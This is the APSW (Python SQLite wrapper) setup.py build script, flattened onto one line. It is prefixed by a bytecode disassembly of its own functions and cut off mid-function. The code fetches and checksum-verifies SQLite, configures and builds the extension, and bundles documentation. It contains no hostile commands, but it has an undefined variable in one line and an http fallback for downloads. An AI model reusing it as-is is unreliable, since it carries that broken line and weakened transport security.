POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP POP_EXCEPT JUMP_FORWARD to 52 END_FINALLY LOAD_FAST ctypes LOAD_ATTR util LOAD_METHOD find_library LOAD_CONST 'sqlite3' CALL_METHOD STORE_FAST libpath LOAD_FAST libpath POP_JUMP_IF_TRUE LOAD_GLOBAL sys LOAD_METHOD exit LOAD_CONST 'Could not find system sqlite3 library using ctypes.util.find_library' CALL_METHOD POP_TOP LOAD_GLOBAL print LOAD_CONST 'Extracting configuration from' LOAD_FAST libpath CALL_FUNCTION POP_TOP LOAD_FAST ctypes LOAD_ATTR cdll LOAD_METHOD LoadLibrary LOAD_FAST libpath CALL_METHOD STORE_FAST lib LOAD_FAST lib LOAD_ATTR sqlite3_compileoption_get STORE_FAST func LOAD_FAST ctypes LOAD_ATTR c_int BUILD_LIST LOAD_FAST func STORE_ATTR argtypes LOAD_FAST ctypes LOAD_ATTR c_char_p LOAD_FAST func STORE_ATTR restype BUILD_MAP STORE_FAST configs LOAD_CONST 0 STORE_FAST i SETUP_LOOP to 288 LOAD_FAST func LOAD_FAST i CALL_FUNCTION STORE_FAST s LOAD_FAST s POP_JUMP_IF_TRUE BREAK_LOOP LOAD_CONST 'SQLITE_' LOAD_FAST s LOAD_METHOD decode LOAD_CONST 'utf8' CALL_METHOD BINARY_ADD STORE_FAST s LOAD_FAST s LOAD_METHOD split LOAD_CONST '=' LOAD_CONST 1 CALL_METHOD STORE_FAST s LOAD_GLOBAL len LOAD_FAST s CALL_FUNCTION LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST s LOAD_METHOD append LOAD_CONST 1 CALL_METHOD POP_TOP SETUP_EXCEPT to 238 LOAD_GLOBAL int LOAD_FAST s LOAD_CONST 1 BINARY_SUBSCR CALL_FUNCTION STORE_FAST v LOAD_GLOBAL str LOAD_FAST v CALL_FUNCTION LOAD_FAST s LOAD_CONST 1 BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST v LOAD_FAST s LOAD_CONST 1 STORE_SUBSCR POP_BLOCK JUMP_FORWARD to 260 DUP_TOP LOAD_GLOBAL ValueError COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP POP_EXCEPT JUMP_FORWARD to 260 END_FINALLY LOAD_FAST s LOAD_CONST 1 BINARY_SUBSCR LOAD_FAST configs LOAD_FAST s LOAD_CONST 0 BINARY_SUBSCR STORE_SUBSCR LOAD_FAST i LOAD_CONST 1 INPLACE_ADD STORE_FAST i JUMP_ABSOLUTE POP_BLOCK LOAD_FAST configs LOAD_CONST 'SQLITE_THREADSAFE' BINARY_SUBSCR EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST configs LOAD_METHOD get LOAD_CONST 'SQLITE_MUTEX_NOOP' CALL_METHOD EXTENDED_ARG POP_JUMP_IF_TRUE SETUP_LOOP to 342 LOAD_CONST frozenset({'SQLITE_MUTEX_PTHREADS', 'SQLITE_MUTEX_W32'}) GET_ITER FOR_ITER to 340 STORE_FAST k LOAD_FAST k LOAD_FAST configs COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST configs LOAD_FAST k DELETE_SUBSCR EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK SETUP_LOOP to 374 LOAD_CONST frozenset({'SQLITE_COMPILER'}) GET_ITER FOR_ITER to 372 STORE_FAST k LOAD_FAST k LOAD_FAST configs COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST configs LOAD_FAST k DELETE_SUBSCR EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL os LOAD_ATTR makedirs LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD dirname LOAD_FAST outputfilename CALL_METHOD LOAD_CONST True LOAD_CONST ('exist_ok',) CALL_FUNCTION POP_TOP LOAD_GLOBAL open LOAD_FAST outputfilename LOAD_CONST 'wt' LOAD_CONST 'utf8' LOAD_CONST ('encoding',) CALL_FUNCTION SETUP_WITH to 486 STORE_FAST f SETUP_LOOP to 482 LOAD_GLOBAL sorted LOAD_FAST configs LOAD_METHOD items CALL_METHOD CALL_FUNCTION GET_ITER FOR_ITER to 480 UNPACK_SEQUENCE STORE_FAST c STORE_FAST v LOAD_GLOBAL print LOAD_CONST '#undef ' LOAD_FAST c FORMAT_VALUE BUILD_STRING LOAD_FAST f LOAD_CONST ('file',) CALL_FUNCTION POP_TOP LOAD_GLOBAL print LOAD_CONST '#define ' LOAD_FAST c FORMAT_VALUE LOAD_CONST ' ' LOAD_FAST v FORMAT_VALUE BUILD_STRING LOAD_FAST f LOAD_CONST ('file',) CALL_FUNCTION POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD isfile LOAD_CONST 'doc/build/html/_sources/about.rst.txt' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'doc/build/html/' STORE_FAST topdir SETUP_LOOP to 110 LOAD_GLOBAL os LOAD_METHOD walk LOAD_FAST topdir CALL_METHOD GET_ITER FOR_ITER to 108 UNPACK_SEQUENCE STORE_FAST dirpath STORE_FAST _ STORE_FAST filenames LOAD_FAST dirpath LOAD_GLOBAL len LOAD_FAST topdir CALL_FUNCTION LOAD_CONST None BUILD_SLICE BINARY_SUBSCR STORE_FAST prefix SETUP_LOOP to 106 LOAD_FAST filenames GET_ITER FOR_ITER to 104 STORE_FAST f LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD join LOAD_FAST arcdir LOAD_CONST 'doc' LOAD_FAST prefix LOAD_FAST f CALL_METHOD LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD join LOAD_FAST dirpath LOAD_FAST f CALL_METHOD BUILD_TUPLE YIELD_VALUE POP_TOP JUMP_ABSOLUTE POP_BLOCK JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_GLOBAL write LOAD_CONST 'Add help files to' LOAD_FAST archive CALL_FUNCTION POP_TOP LOAD_FAST archive LOAD_METHOD endswith LOAD_CONST '.tar' CALL_METHOD POP_JUMP_IF_TRUE LOAD_CONST '.tar.' LOAD_FAST archive COMPARE_OP in POP_JUMP_IF_FALSE LOAD_CONST '' STORE_FAST fmt LOAD_FAST archive LOAD_METHOD endswith LOAD_CONST '.gz' CALL_METHOD POP_JUMP_IF_TRUE LOAD_FAST archive LOAD_METHOD endswith LOAD_CONST '.tgz' CALL_METHOD POP_JUMP_IF_FALSE LOAD_CONST ':gz' STORE_FAST fmt JUMP_FORWARD to 82 LOAD_FAST archive LOAD_METHOD endswith LOAD_CONST '.bz2' CALL_METHOD POP_JUMP_IF_TRUE LOAD_FAST archive LOAD_METHOD endswith LOAD_CONST '.tbz2' CALL_METHOD POP_JUMP_IF_FALSE LOAD_CONST ':bz2' STORE_FAST fmt LOAD_GLOBAL tarfile LOAD_METHOD open LOAD_FAST archive CALL_METHOD STORE_FAST oldarchive LOAD_GLOBAL tarfile LOAD_ATTR open LOAD_FAST archive LOAD_CONST '-' BINARY_ADD LOAD_CONST 'w' LOAD_FAST fmt BINARY_ADD LOAD_CONST ('mode',) CALL_FUNCTION STORE_FAST newarchive SETUP_LOOP to 150 LOAD_FAST oldarchive LOAD_METHOD getmembers CALL_METHOD GET_ITER FOR_ITER to 148 STORE_FAST mem LOAD_FAST newarchive LOAD_METHOD addfile LOAD_FAST mem LOAD_FAST oldarchive LOAD_METHOD extractfile LOAD_FAST mem CALL_METHOD CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST oldarchive LOAD_METHOD close CALL_METHOD POP_TOP SETUP_LOOP to 192 LOAD_GLOBAL help_walker LOAD_FAST topdir CALL_FUNCTION GET_ITER FOR_ITER to 190 UNPACK_SEQUENCE STORE_FAST arcname STORE_FAST fname LOAD_FAST newarchive LOAD_METHOD add LOAD_FAST fname LOAD_FAST arcname CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST newarchive LOAD_METHOD close CALL_METHOD POP_TOP LOAD_GLOBAL os LOAD_METHOD rename LOAD_FAST archive LOAD_CONST '-' BINARY_ADD LOAD_FAST archive CALL_METHOD POP_TOP JUMP_FORWARD to 304 LOAD_FAST archive LOAD_METHOD endswith LOAD_CONST '.zip' CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL zipfile LOAD_METHOD ZipFile LOAD_FAST archive LOAD_CONST 'a' LOAD_GLOBAL zipfile LOAD_ATTR ZIP_DEFLATED CALL_METHOD STORE_FAST ofile SETUP_LOOP to 282 LOAD_GLOBAL help_walker LOAD_FAST topdir CALL_FUNCTION GET_ITER FOR_ITER to 280 UNPACK_SEQUENCE STORE_FAST arcname STORE_FAST fname LOAD_FAST ofile LOAD_METHOD write LOAD_FAST fname LOAD_FAST arcname CALL_METHOD POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_FAST ofile LOAD_METHOD close CALL_METHOD POP_TOP JUMP_FORWARD to 304 LOAD_GLOBAL Exception LOAD_CONST "Don't know what to do with " LOAD_FAST archive BINARY_ADD CALL_FUNCTION RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'IcuConfig' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST 'str' LOAD_NAME __annotations__ LOAD_CONST 'tool' STORE_SUBSCR LOAD_CONST 'str' LOAD_NAME __annotations__ LOAD_CONST 'cflags' STORE_SUBSCR LOAD_CONST 'str' LOAD_NAME __annotations__ LOAD_CONST 'ldflags' STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_CONST True LOAD_CONST True LOAD_CONST ('text', 'capture_output') BUILD_CONST_KEY_MAP STORE_FAST skw LOAD_CONST '' DUP_TOP STORE_FAST cflags STORE_FAST ldflags LOAD_GLOBAL shutil LOAD_METHOD which LOAD_CONST 'pkg-config' CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL contextlib LOAD_METHOD suppress LOAD_GLOBAL subprocess LOAD_ATTR CalledProcessError CALL_METHOD SETUP_WITH to 74 POP_TOP LOAD_GLOBAL subprocess LOAD_ATTR run LOAD_CONST 'pkg-config' LOAD_CONST '--cflags' LOAD_CONST 'icu-uc' LOAD_CONST 'icu-i18n' BUILD_LIST BUILD_TUPLE LOAD_FAST skw CALL_FUNCTION LOAD_ATTR stdout LOAD_METHOD strip CALL_METHOD STORE_FAST cflags POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL contextlib LOAD_METHOD suppress LOAD_GLOBAL subprocess LOAD_ATTR CalledProcessError CALL_METHOD SETUP_WITH to 126 POP_TOP LOAD_GLOBAL subprocess LOAD_ATTR run LOAD_CONST 'pkg-config' LOAD_CONST '--libs' LOAD_CONST 'icu-uc' LOAD_CONST 'icu-i18n' BUILD_LIST BUILD_TUPLE LOAD_FAST skw CALL_FUNCTION LOAD_ATTR stdout LOAD_METHOD strip CALL_METHOD STORE_FAST ldflags POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST cflags POP_JUMP_IF_TRUE LOAD_FAST ldflags POP_JUMP_IF_FALSE LOAD_GLOBAL IcuConfig LOAD_CONST 'pkg-config' LOAD_FAST cflags LOAD_FAST ldflags LOAD_CONST ('tool', 'cflags', 'ldflags') CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL shutil LOAD_METHOD which LOAD_CONST 'icu-config' CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL subprocess LOAD_ATTR run LOAD_CONST 'icu-config' LOAD_CONST '--cppflags' BUILD_LIST BUILD_TUPLE LOAD_FAST skw CALL_FUNCTION LOAD_ATTR stdout LOAD_METHOD strip CALL_METHOD STORE_FAST cflags LOAD_GLOBAL subprocess LOAD_ATTR run LOAD_CONST 'icu-config' LOAD_CONST '--ldflags' BUILD_LIST BUILD_TUPLE LOAD_FAST skw CALL_FUNCTION LOAD_ATTR stdout LOAD_METHOD strip CALL_METHOD STORE_FAST ldflags LOAD_GLOBAL IcuConfig LOAD_CONST 'icu-config' LOAD_FAST cflags LOAD_FAST ldflags LOAD_CONST ('tool', 'cflags', 'ldflags') CALL_FUNCTION RETURN_VALUE LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 22 STORE_FAST f LOAD_FAST f LOAD_CONST 'src/apsw.c' COMPARE_OP != POP_JUMP_IF_FALSE LOAD_FAST f LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE
from __future__ import annotations import os import sys import shlex import glob import re import time import zipfile import tarfile import subprocess import sysconfig import shutil import pathlib import contextlib from dataclasses import dataclass from setuptools import setup, Extension, Command from setuptools.command import build_ext, sdist try: from setuptools.command import build except ImportError: from distutils.command import build import distutils.ccompiler include_dirs = ["src"] library_dirs = [] define_macros = [] libraries = [] patch = False try: import distutils.dist if hasattr(distutils.dist.Distribution, "find_config_files"): patch = True except Exception: pass if patch: def monkey_patched_find_config_files(self): res = orig_find_local_files(self) if os.path.isfile("setup.apsw"): res.append("setup.apsw") return res orig_find_local_files = distutils.dist.Distribution.find_config_files distutils.dist.Distribution.find_config_files = monkey_patched_find_config_files project_urls = { "Changelog": "https://rogerbinns.github.io/apsw/changes.html", "Documentation": "https://rogerbinns.github.io/apsw/", "Issue Tracker": "https://github.com/rogerbinns/apsw/issues", "Code": "https://github.com/rogerbinns/apsw", "Example": "https://rogerbinns.github.io/apsw/example.html", } def write(*args): dest = sys.stdout if args[-1] == sys.stderr: dest = args[-1] args = args[:-1] dest.write(" ".join(args) + "\n") dest.flush() def read_whole_file(name, mode): assert mode == "rt" f = open(name, mode, encoding="utf8") try: return f.read() finally: f.close() def write_whole_file(name, mode, data): assert mode == "wt" f = open(name, mode, encoding="utf8") try: f.write(data) finally: f.close() version = ( read_whole_file(os.path.join("src", "apswversion.h"), "rt").split()[2].strip('"') ) def sqliteversion(v): assert len(v.split(".")) == 4 return v.rsplit(".", 1)[0] def fixup_download_url(url): ver = re.search("3[0-9]{6}", url) if ver: ver = int(ver.group(0)) if ver >= 3450000: year = "2024" elif ver >= 3410000: year = "2023" elif ver >= 3370200: year = "2022" elif ver >= 3340100: year = "2021" if "/" + year + "/" not in url: url = url.split("/") url.insert(3, year) return "/".join(url) return url class run_tests(Command): description = "Run test suite" user_options = [ ("show-tests", "v", "Show each test being run"), ] boolean_options = ["show-tests"] def initialize_options(self): self.show_tests = 0 def finalize_options(self): pass def run(self): import unittest import apsw.tests apsw.tests.setup() suite = unittest.TestLoader().loadTestsFromModule(apsw.tests) result = unittest.TextTestRunner(verbosity=self.show_tests + 1).run(suite) if not result.wasSuccessful(): sys.exit(1) class build_test_extension(Command): description = "Compiles APSW test loadable extension" user_options = [] def initialize_options(self): pass def finalize_options(self): pass def run(self): name = "testextension.sqlext" def v(n): return sysconfig.get_config_var(n) if v("CC"): cc = f"{ v('CC') } { v('CFLAGS') } { v('CCSHARED') } -Isqlite3 -c src/testextension.c" ld = f"{ v('LDSHARED') } testextension.o -o { name }" for cmd in cc, ld: print(cmd) subprocess.run(cmd, shell=True, check=True) else: compiler = distutils.ccompiler.new_compiler(verbose=True) compiler.add_include_dir("sqlite3") compiler.add_include_dir(".") preargs = ( ["/Gd"] if "msvc" in str(compiler.__class__).lower() else ["-fPIC"] ) objs = compiler.compile(["src/testextension.c"], extra_preargs=preargs) compiler.link_shared_object(objs, name) def fixupcode(code): if type(code) != bytes: code = code.read() if type(code) == bytes: code = code.decode("iso8859-1") if type(code) == str: return [l + "\n" for l in code.split("\n")] return code fetch_parts = [] class fetch(Command): description = "Automatically downloads SQLite and components" user_options = [ ( "version=", None, f"Which version of SQLite/components to get (default { sqliteversion(version) })", ), ("missing-checksum-ok", None, "Continue on a missing checksum (default abort)"), ("sqlite", None, "Download SQLite amalgamation"), ("all", None, "Download all downloadable components"), ] fetch_options = ["sqlite"] boolean_options = fetch_options + ["all", "missing-checksum-ok"] def initialize_options(self): self.version = None self.sqlite = False self.all = False self.missing_checksum_ok = False def finalize_options(self): global fetch_parts if self.version in ("self", None): self.version = sqliteversion(version) if self.all: for i in self.fetch_options: setattr(self, i, True) for i in self.fetch_options: fetch_parts.append(i) def run(self): if self.version == "latest": write(" Getting download page to work out latest SQLite version") page = self.download( "https://sqlite.org/download.html", text=True, checksum=False ) match = re.search( r"sqlite-amalgamation-3([0-9][0-9])([0-9][0-9])([0-9][0-9])\.zip", page ) if match: self.version = "3.%d.%d.%d" % tuple( [int(match.group(n)) for n in range(1, 4)] ) assert self.version.endswith( ".0" ) # sqlite doesn't use last component so we do now self.version = sqliteversion(self.version) else: write( "Unable to determine latest SQLite version. Use --version=VERSION", sys.stderr, ) write("to set version - eg setup.py fetch --version=3.6.18", sys.stderr) sys.exit(17) write(" Version is " + self.version) downloaded = 0 v = [int(x) for x in self.version.split(".")] assert len(v) == 3 v.append(0) self.webversion = "%d%02d%02d%02d" % tuple(v) if self.sqlite: write(" Getting the SQLite amalgamation") AURL = "https://sqlite.org/sqlite-autoconf-%s.tar.gz" % (self.webversion,) AURL = fixup_download_url(AURL) data = self.download(AURL, checksum=True) sqlite3config_h = None if os.path.exists("sqlite3/sqlite3config.h"): sqlite3config_h = read_whole_file("sqlite3/sqlite3config.h", "rt") if os.path.exists("sqlite3"): for dirpath, dirnames, filenames in os.walk("sqlite3", topdown=False): for file in filenames: os.remove(os.path.join(dirpath, file)) for dir in dirnames: os.rmdir(os.path.join(dirpath, dir)) os.rmdir("sqlite3") import zlib tar = tarfile.open("nonexistentname to keep old python happy", "r", data) configmember = None kwargs = {} if sys.version_info >= (3, 11, 4): kwargs["filter"] = "tar" for member in tar.getmembers(): tar.extract(member, **kwargs) if not configmember and member.name.endswith("/configure"): configmember = member tar.close() if not configmember: write("Unable to determine directory it extracted to.", dest=sys.stderr) sys.exit(19) dirname = configmember.name.split("/")[0] os.rename(dirname, "sqlite3") if sys.platform != "win32": os.chdir("sqlite3") write(" Running configure to work out SQLite compilation flags") res = os.system("./configure >/dev/null") defline = None for line in read_whole_file("Makefile", "rt").split("\n"): if line.startswith("DEFS = "): defline = line break if not defline: write( "Unable to determine compile flags. Create sqlite3/sqlite3config.h to manually set.", sys.stderr, ) sys.exit(18) defs = [] for part in shlex.split(defline): if part.startswith("-DHAVE"): part = part[2:] if "=" in part: part = part.split("=", 1) else: part = (part,) defs.append(part) if res != 0: raise ValueError("Command execution failed") if defs: op = open("sqlite3config.h", "wt", encoding="utf8") op.write( """ /* This file was generated by parsing how configure altered the Makefile which isn't used when building python extensions. It is specific to the machine and developer components on which it was run. */ \n""" ) for define in defs: op.write("#define %s %s\n" % tuple(define)) op.close() os.chdir("..") downloaded += 1 if not downloaded: write("You didn't specify any components to fetch. Use") write(" setup.py fetch --help") write("for a list and details") raise ValueError("No components downloaded") def verifyurl(self, url, data): d = ["%s" % (len(data),)] import hashlib d.append(hashlib.sha256(data).hexdigest()) d.append(hashlib.sha3_256(data).hexdigest()) write(" Length:", d[0], " SHA256:", d[1], " SHA3_256:", d[2]) sums = os.path.join(os.path.dirname(__file__), "checksums") for line in read_whole_file(sums, "rt").split("\n"): line = line.strip() if len(line) == 0 or line[0] == "#": continue l = [l.strip() for l in line.split()] if len(l) != 4: write("Invalid line in checksums file:", line, sys.stderr) raise ValueError("Bad checksums file") if l[0] == url: if l[1:] == d: write(" Checksums verified") return if l[1] != d[0]: write( "Length does not match. Expected", l[1], "download was", d[0] ) if l[2] != d[1]: write( "SHA256 does not match. Expected", l[2], "download was", d[1] ) if l[3] != d[2]: write( "SHA3_256 does not match. Expected", l[3], "download was", d[2] ) write( "The download does not match the checksums distributed with APSW.\n" "The download should not have changed since the checksums were\n" "generated. The cause could be anything from network corruption\n" "to a malicious attack." ) raise ValueError("Checksums do not match") write(" (Not verified. No match in checksums file)") if not self.missing_checksum_ok: raise ValueError( "No checksum available. Use --missing-checksum-ok option to continue" ) def download(self, url, text=False, checksum=True): import urllib.request urlopen = urllib.request.urlopen import io bytesio = io.BytesIO write(" Fetching", url) count = 0 while True: try: if count: write(" Try #", str(count + 1)) try: page = urlopen(url).read() except: e = sys.exc_info()[1] if count >= 4 and url.startswith("https:"): write(" [Python has https issues? - using http instead]") page = urlopen(url.replace("https://", "http://")).read() else: raise break except: write(" Error ", str(sys.exc_info()[1])) time.sleep(3.14 * count) count += 1 if count >= 10: raise if text: page = page.decode("iso8859_1") if checksum: self.verifyurl(url, page) if not text: page = bytesio(page) return page build_enable = None build_omit = None build_enable_all_extensions = False bparent = build.build class apsw_build(bparent): user_options = bparent.user_options + [ ("enable=", None, "Enable SQLite options (comma separated list)"), ("omit=", None, "Omit SQLite functionality (comma separated list)"), ("enable-all-extensions", None, "Enable all SQLite extensions"), ("fetch", None, "Fetches SQLite for pypi based build"), ] boolean_options = bparent.boolean_options + ["enable-all-extensions", "fetch"] def __init__(self, dist): self._saved_dist = dist bparent.__init__(self, dist) def initialize_options(self): v = bparent.initialize_options(self) self.enable = None self.omit = None self.enable_all_extensions = build_enable_all_extensions self.fetch = False return v def finalize_options(self): global build_enable, build_omit, build_enable_all_extensions build_enable = self.enable build_omit = self.omit build_enable_all_extensions = self.enable_all_extensions if self.fetch: fc = fetch(self._saved_dist) fc.initialize_options() fc.all = True fc.finalize_options() fc.run() return bparent.finalize_options(self) def findamalgamation(): amalgamation = ( os.path.join(os.path.dirname(os.path.abspath(__file__)), "sqlite3.c"), os.path.join( os.path.dirname(os.path.abspath(__file__)), "sqlite3", "sqlite3.c" ), ) for path in amalgamation: if os.path.exists(path): return path return None def update_type_stubs_old_names(include_old: bool) -> None: stubs = pathlib.Path("apsw/__init__.pyi").read_text(encoding="utf8") new_stubs = [] for line in stubs.split("\n"): if line.endswith("## OLD-NAME") and include_old == line.startswith("#"): line = ("#" + line) if not include_old else line[1:] new_stubs.append(line) new_stubs = "\n".join(new_stubs) if new_stubs != stubs: print( "Updating type stubs to", "include" if include_old else "exclude", "old names", ) pathlib.Path("apsw/__init__.pyi").write_text(new_stubs, encoding="utf8") beparent = build_ext.build_ext class apsw_build_ext(beparent): user_options = beparent.user_options + [ ("enable=", None, "Enable SQLite options (comma separated list)"), ("omit=", None, "Omit SQLite functionality (comma separated list)"), ("enable-all-extensions", None, "Enable all SQLite extensions"), ( "use-system-sqlite-config", None, "Uses system SQLite library config (enabled/omitted APIs etc)", ), ( "definevalues=", None, "Additional defines eg --definevalues SQLITE_MAX_ATTACHED=37,SQLITE_EXTRA_INIT=mycore_init", ), ("apsw-no-old-names", None, "Old non-PEP8 names are excluded"), ] boolean_options = beparent.boolean_options + [ "enable-all-extensions", "use-system-sqlite-config", "apsw-no-old-names", ] def initialize_options(self): v = beparent.initialize_options(self) self.enable = build_enable self.omit = build_omit self.enable_all_extensions = build_enable_all_extensions self.definevalues = None self.use_system_sqlite_config = False self.apsw_no_old_names = False return v def finalize_options(self): v = beparent.finalize_options(self) if self.enable_all_extensions: exts = [ "fts4", "fts3", "fts3_parenthesis", "rtree", "stat4", "fts5", "rbu", "geopoly", "math_functions", ] if not self.omit or "icu" not in self.omit.split(","): if get_icu_config(): exts.append("icu") if not self.enable: self.enable = ",".join(exts) else: self.enable = self.enable + "," + ",".join(exts) ext = self.extensions[0] if not ext.define_macros: ext.define_macros = [] if not ext.depends: ext.depends = [] if not ext.include_dirs: ext.include_dirs = [] if not ext.library_dirs: ext.library_dirs = [] if not ext.libraries: ext.libraries = [] if self.apsw_no_old_names: ext.define_macros.append(("APSW_OMIT_OLD_NAMES", "1")) update_type_stubs_old_names(include_old=not self.apsw_no_old_names) if self.definevalues: for define in self.definevalues.split(","): define = define.split("=", 1) if len(define) != 2: define.append("1") ext.define_macros.append(tuple(define)) if self.debug: ext.define_macros.append( ("APSW_NO_NDEBUG", "1") ) # double negatives are bad ext.define_macros.append( ("APSW_TESTFIXTURES", "1") ) # extra test harness code ext.define_macros.append(("SQLITE_DEBUG", "1")) # also does NDEBUG mangling else: ext.define_macros.append(("NDEBUG", "1")) if hasattr(os, "fork"): ext.define_macros.append(("APSW_FORK_CHECKER", "1")) path = findamalgamation() if path: ext.define_macros.append(("APSW_USE_SQLITE_AMALGAMATION", "1")) ext.include_dirs.insert(0, os.path.dirname(path)) write("SQLite: Using amalgamation", path) else: sqlite3_dir = os.path.join( os.path.dirname(os.path.abspath(__file__)), "sqlite3" ) inc = False if self.use_system_sqlite_config: set_config_from_system(os.path.join(sqlite3_dir, "sqlite3config.h")) inc = True if ( os.path.isdir(sqlite3_dir) and len(glob.glob(os.path.join(sqlite3_dir, "*"))) > 3 ): write("SQLite: Using include/libraries in sqlite3 subdirectory") inc = True ext.library_dirs.append(d) else: write("SQLite: Using system sqlite include/libraries") if inc: ext.include_dirs.insert(0, sqlite3_dir) ext.libraries.append("sqlite3") s3config = os.path.join(ext.include_dirs[0], "sqlite3config.h") if os.path.exists(s3config): write(f"SQLite: Using generated { s3config }") ext.define_macros.append(("APSW_USE_SQLITE_CONFIG", "1")) addicuinclib = False if self.enable: for e in self.enable.split(","): e = e.strip() ext.define_macros.append(("SQLITE_ENABLE_" + e.upper(), 1)) if e.upper() == "ICU": addicuinclib = True else: os.putenv("APSW_TEST_" + e.upper(), "1") if ( "_" not in e.lower() and "memsys" not in e.lower() and e.lower() not in ( "fts4", "fts3", "rtree", "icu", "iotrace", "stat2", "stat3", "stat4", "dbstat_vtab", "fts5", "json1", "rbu", "geopoly", ) ): write("Unknown enable " + e, sys.stderr) raise ValueError("Bad enable " + e) if self.omit: for e in self.omit.split(","): e = e.strip() ext.define_macros.append(("SQLITE_OMIT_" + e.upper(), 1)) if addicuinclib: icc = get_icu_config() if icc: kwargs = {"posix": False} for part in shlex.split(icc.cflags, **kwargs): if part.startswith("-I"): ext.include_dirs.append(part[2:]) elif part.startswith("-D"): part = part[2:] if "=" in part: part = tuple(part.split("=", 1)) else: part = (part, "1") ext.define_macros.append(part) for part in shlex.split(icc.ldflags, **kwargs): if part.startswith("-L"): ext.library_dirs.append(part[2:]) elif part.startswith("-l"): ext.libraries.append(part[2:]) write("ICU: Added includes, flags and libraries from " + icc.tool) os.putenv("APSW_TEST_ICU", "1") else: write( "ICU: Unable to determine includes/libraries for ICU using pkg-config or icu-config" ) return v def run(self): v = beparent.run(self) return v sparent = sdist.sdist class apsw_sdist(sparent): user_options = sparent.user_options + [ ( "add-doc", None, "Includes built documentation from doc/build/html into source", ), ("for-pypi", None, "Configure for pypi distribution"), ] boolean_options = sparent.boolean_options + ["add-doc", "for-pypi"] def initialize_options(self): sparent.initialize_options(self) self.add_doc = False self.for_pypi = False self.use_defaults = False # they are useless self.force_manifest = True def run(self): cfg = "pypi" if self.for_pypi else "default" shutil.copy2(f"tools/setup-{ cfg }.cfg", "setup.apsw") v = sparent.run(self) if self.add_doc: if len(list(help_walker(""))) < 20: raise Exception("The help is not built") for archive in self.get_archive_files(): add_doc(archive, self.distribution.get_fullname()) return v def set_config_from_system(outputfilename: str): import ctypes, ctypes.util try: os.remove(outputfilename) except FileNotFoundError: pass libpath = ctypes.util.find_library("sqlite3") if not libpath: sys.exit("Could not find system sqlite3 library using ctypes.util.find_library") print("Extracting configuration from", libpath) lib = ctypes.cdll.LoadLibrary(libpath) func = lib.sqlite3_compileoption_get func.argtypes = [ctypes.c_int] func.restype = ctypes.c_char_p configs = {} i = 0 while True: s = func(i) if not s: break s = "SQLITE_" + s.decode("utf8") s = s.split("=", 1) if len(s) == 1: s.append(1) try: v = int(s[1]) if str(v) == s[1]: s[1] = v except ValueError: pass configs[s[0]] = s[1] i += 1 if configs["SQLITE_THREADSAFE"] and not configs.get("SQLITE_MUTEX_NOOP"): for k in {"SQLITE_MUTEX_PTHREADS", "SQLITE_MUTEX_W32"}: if k in configs: del configs[k] for k in {"SQLITE_COMPILER"}: if k in configs: del configs[k] os.makedirs(os.path.dirname(outputfilename), exist_ok=True) with open(outputfilename, "wt", encoding="utf8") as f: for c, v in sorted(configs.items()): print(f"#undef { c }", file=f) print(f"#define { c } { v }", file=f) def help_walker(arcdir): assert os.path.isfile("doc/build/html/_sources/about.rst.txt") topdir = "doc/build/html/" for dirpath, _, filenames in os.walk(topdir): prefix = dirpath[len(topdir) :] for f in filenames: yield os.path.join(arcdir, "doc", prefix, f), os.path.join(dirpath, f) def add_doc(archive, topdir): write("Add help files to", archive) if archive.endswith(".tar") or ".tar." in archive: fmt = "" if archive.endswith(".gz") or archive.endswith(".tgz"): fmt = ":gz" elif archive.endswith(".bz2") or archive.endswith(".tbz2"): fmt = ":bz2" oldarchive = tarfile.open(archive) newarchive = tarfile.open(archive + "-", mode="w" + fmt) for mem in oldarchive.getmembers(): newarchive.addfile(mem, oldarchive.extractfile(mem)) oldarchive.close() for arcname, fname in help_walker(topdir): newarchive.add(fname, arcname) newarchive.close() os.rename(archive + "-", archive) elif archive.endswith(".zip"): ofile = zipfile.ZipFile(archive, "a", zipfile.ZIP_DEFLATED) for arcname, fname in help_walker(topdir): ofile.write(fname, arcname) ofile.close() else: raise Exception("Don't know what to do with " + archive) @dataclass class IcuConfig: tool: str cflags: str ldflags: str def get_icu_config() -> IcuConfig | None: skw = {"text": True, "capture_output": True} cflags = ldflags = "" if shutil.which("pkg-config"): with contextlib.suppress(subprocess.CalledProcessError): cflags = subprocess.run( ["pkg-config", "--cflags", 